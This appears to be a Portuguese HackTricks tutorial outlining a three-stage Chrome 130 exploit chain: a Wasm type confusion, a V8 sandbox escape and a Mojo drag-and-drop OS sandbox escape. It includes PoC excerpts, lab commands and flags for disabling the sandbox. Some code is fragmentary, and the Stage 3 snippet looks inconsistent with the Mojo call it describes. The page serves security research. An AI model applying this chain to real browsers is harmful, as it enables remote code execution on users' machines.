Chrome Exploiting

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Esta página fornece uma visão geral de alto nível, mas prática, de um fluxo de trabalho de exploração "full-chain" moderno contra o Google Chrome 130, com base na série de pesquisas “101 Chrome Exploitation” (Parte-0 — Prefácio). O objetivo é fornecer aos pentesters e desenvolvedores de exploits o conhecimento mínimo necessário para reproduzir ou adaptar as técnicas para sua própria pesquisa.

1. Recapitulação da Arquitetura do Chrome

Entender a superfície de ataque requer saber onde o código é executado e quais sandboxes se aplicam.

+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+

Layered defence-in-depth:

  • V8 sandbox (Isolate): permissões de memória são restritas para evitar leitura/escrita arbitrária de JS / Wasm JITado.
  • A divisão Renderer ↔ Browser é garantida via passagem de mensagens Mojo/IPC; o renderer não tem acesso nativo ao FS/rede.
  • OS sandboxes contêm ainda mais cada processo (Níveis de Integridade do Windows / seccomp-bpf / perfis de sandbox do macOS).

Um atacante remoto, portanto, precisa de três primitivas sucessivas:

  1. Corrupção de memória dentro do V8 para obter RW arbitrário dentro do heap do V8.
  2. Um segundo bug permitindo que o atacante escape do sandbox do V8 para a memória completa do renderer.
  3. Um escape final do sandbox (geralmente lógica em vez de corrupção de memória) para executar código fora do sandbox do Chrome OS.

2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)

Uma falha na optimização Turboshaft do TurboFan classifica incorretamente os tipos de referência WasmGC quando o valor é produzido e consumido dentro de um único loop de bloco básico.

Efeito:

  • O compilador ignora a verificação de tipo, tratando uma referência (externref/anyref) como um int64.
  • Wasm elaborado permite sobrepor um cabeçalho de objeto JS com dados controlados pelo atacante → addrOf() & fakeObj() primitivas AAW / AAR.

PoC mínima (excerto):

WebAssembly
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Otimização de gatilho e objetos de spray a partir do JS:

js
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Resultado: leitura/escrita arbitrária dentro do V8.


3. Etapa 2 – Escapando do Sandbox do V8 (issue 379140430)

Quando uma função Wasm é compilada em nível superior, um wrapper JS ↔ Wasm é gerado. Um bug de incompatibilidade de assinatura faz com que o wrapper escreva além do final de um objeto Tuple2 confiável quando a função Wasm é reotimizada enquanto ainda está na pilha.

Sobrescrever os 2 × campos de 64 bits do objeto Tuple2 resulta em leitura/escrita em qualquer endereço dentro do processo Renderer, efetivamente contornando o sandbox do V8.

Passos chave na exploração:

  1. Colocar a função no estado Tier-Up alternando entre código turbofan/baseline.
  2. Acionar o tier-up enquanto mantém uma referência na pilha (Function.prototype.apply).
  3. Usar AAR/AAW da Etapa 1 para encontrar e corromper o Tuple2 adjacente.

Identificação do wrapper:

js
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Após a corrupção, possuímos um primitive R/W de renderer totalmente funcional.


4. Etapa 3 – Escape do Sandbox do OS a partir do Renderer (CVE-2024-11114)

A interface IPC Mojo blink.mojom.DragService.startDragging() pode ser chamada a partir do Renderer com parâmetros parcialmente confiáveis. Ao criar uma estrutura DragData apontando para um caminho de arquivo arbitrário, o renderer convence o navegador a realizar um arrastar e soltar nativo fora do sandbox do renderer.

Abusando disso, podemos programaticamente “arrastar” um EXE malicioso (anteriormente colocado em um local gravável por qualquer um) para a Área de Trabalho, onde o Windows executa automaticamente certos tipos de arquivos assim que são soltos.

Exemplo (simplificado):

js
const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

Nenhuma corrupção de memória adicional é necessária – a falha de lógica nos dá execução arbitrária de arquivos com os privilégios do usuário.


5. Fluxo Completo da Cadeia

  1. Usuário visita página da web maliciosa.
  2. Etapa 1: Módulo Wasm abusa do CVE-2025-0291 → V8 heap AAR/AAW.
  3. Etapa 2: Incompatibilidade de wrapper corrompe Tuple2 → escapar do sandbox V8.
  4. Etapa 3: startDragging() IPC → escapar do sandbox do OS e executar o payload.

Resultado: Execução Remota de Código (RCE) no host (Chrome 130, Windows/Linux/macOS).


6. Configuração de Lab & Depuração

bash
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Flags úteis ao iniciar uma build de development do Chrome:

bash
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

Conclusões

  • Erros JIT do WebAssembly continuam sendo um ponto de entrada confiável – o sistema de tipos ainda é jovem.
  • Obter um segundo erro de corrupção de memória dentro do V8 (por exemplo, incompatibilidade de wrapper) simplifica muito a escapada do sandbox do V8.
  • Fraquezas em nível lógico nas interfaces IPC privilegiadas do Mojo são frequentemente suficientes para uma escapada final do sandbox – fique atento a bugs não relacionados à memória.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks